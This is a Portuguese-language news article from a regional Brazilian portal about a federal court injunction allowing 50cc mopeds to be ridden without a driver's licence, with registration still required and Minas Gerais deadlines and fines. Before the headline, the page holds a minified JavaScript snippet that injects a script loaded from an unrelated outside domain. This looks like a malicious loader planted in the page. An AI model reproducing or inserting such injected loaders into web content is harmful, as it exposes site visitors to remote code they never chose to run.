;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Liminar autoriza condução de “cinquentinha sem habilitação; emplacamento continua obrigatório. - Portal Carangola

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Liminar autoriza condução de “cinquentinha sem habilitação; emplacamento continua obrigatório.

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Uma decisão da 5ª Vara da Justiça Federal em Pernambuco autoriza condutores trafegarem com os ciclomotores conhecidos popularmente como “cinquentinhas” sem a Carteira Nacional de Habilitação. A medida vale para todo país. No entanto, a exigência do emplacamento continua.
A medida foi uma aceita a partir de uma Ação Civil Pública ajuizada pela Associação Nacional dos Usuários de Ciclomotores (Anuc), com o argumento de que o documento regularizado pelo Código de Trânsito Brasileiro (CTB), a Autorização para a Condução de Ciclomotores (ACC), não é oferecida por órgãos de trânsito e centros de formação de condutores, conduzindo o interessado a emitir a CNH Tipo A.
De acordo com a 5ª Vara da Justiça Federal em Pernambuco, a decisão ainda cabe recurso. O Contran – Conselho Nacional de Trânsito informou que ainda não foi “formalmente intimado do teor da decisão”.
Obrigatoriedade do emplacamento continua
No dia 30 de julho uma lei sancionada pelo Governo Federal alterou o Código de Trânsito Brasileiro (CTB) e retirou dos municípios a responsabilidade pelo emplacamento e licenciamento dos ciclomotores, popularmente conhecidas como “cinquentinhas”.
Na prática, com a mudança os Departamentos Estaduais de Trânsito (Detrans) estão assumindo os emplacamentos desse tipo de veículo e no último dia 21 de agosto, o Detran de Minas publicou uma portaria com as regras para o licenciamento dos ciclomotores no estado.
A norma estabelece que os proprietários de cinquentinhas adquiridas antes da mudança das regras tem até 21 de novembro, ou seja, 90 dias a partir da publicação da portaria, para regularizarem seus veículos junto ao órgão. Para tanto é necessário apresentar nota fiscal ou documento que comprove a propriedade bem como documentação pessoal do dono.
Após esse prazo o condutor que for flagrado circulando com a cinquentinha nova sem placa pode ser multado em R$ 191,54, ter 7 pontos computados no prontuário de habilitação e ainda ter o veículo apreendido.

Informação: Diário de Pernambuco.

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